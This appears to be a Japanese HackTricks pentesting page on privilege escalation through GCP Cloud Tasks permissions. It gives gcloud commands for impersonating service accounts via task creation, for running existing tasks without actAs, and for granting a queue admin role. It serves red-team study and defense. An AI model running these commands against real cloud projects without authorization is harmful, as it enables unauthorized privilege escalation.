GCP - Cloud Tasks Privesc

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Cloud Tasks

cloudtasks.tasks.create, iam.serviceAccounts.actAs

これらの権限を持つ攻撃者は、指定した service account の ID で実行されるタスクを作成することで、他の service account をなりすますことができます。これにより、IAM で保護された Cloud Run や Cloud Functions サービスへ認証済みの HTTP リクエストを送信できます。

Create Cloud Task with service account impersonation ```bash gcloud tasks create-http-task \ task-$(date '+%Y%m%d%H%M%S') \ --location us-central1 \ --queue \ --url 'https://.us-central1.run.app' \ --method POST \ --header 'X-Hello: world' \ --body-content '{"hello":"world"}' \ --oidc-service-account-email @.iam.gserviceaccount.com ```

cloudtasks.tasks.run, cloudtasks.tasks.list

これらの権限を持つ攻撃者は、タスクに関連付けられたサービスアカウントの権限がなくても、既存のスケジュール済みタスクを実行できます。これにより、より高い権限を持つサービスアカウントで以前に作成されたタスクを実行することが可能になります。

actAs permissionなしで既存の Cloud Task を実行 ```bash gcloud tasks run projects//locations/us-central1/queues//tasks/ ```

このコマンドを実行するプリンシパルは、タスクのサービスアカウントに対して iam.serviceAccounts.actAs 権限を持つ必要はありません。ただし、これは既存のタスクを実行できるだけで、新しいタスクの作成や既存タスクの変更権限は付与されません。

cloudtasks.queues.setIamPolicy

この権限を持つ攻撃者は、特定のキューに対して自分自身や他のプリンシパルに Cloud Tasks のロールを付与することができ、最終的にタスクの作成・実行が可能な roles/cloudtasks.admin にエスカレーションする可能性があります。

キューに Cloud Tasks admin ロールを付与する ```bash gcloud tasks queues add-iam-policy-binding \ \ --location us-central1 \ --member serviceAccount:@.iam.gserviceaccount.com \ --role roles/cloudtasks.admin ```

これにより攻撃者は、制御する任意のサービスアカウントに対して、そのキューに対する Cloud Tasks のフル管理者権限を付与できます。

参考資料

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする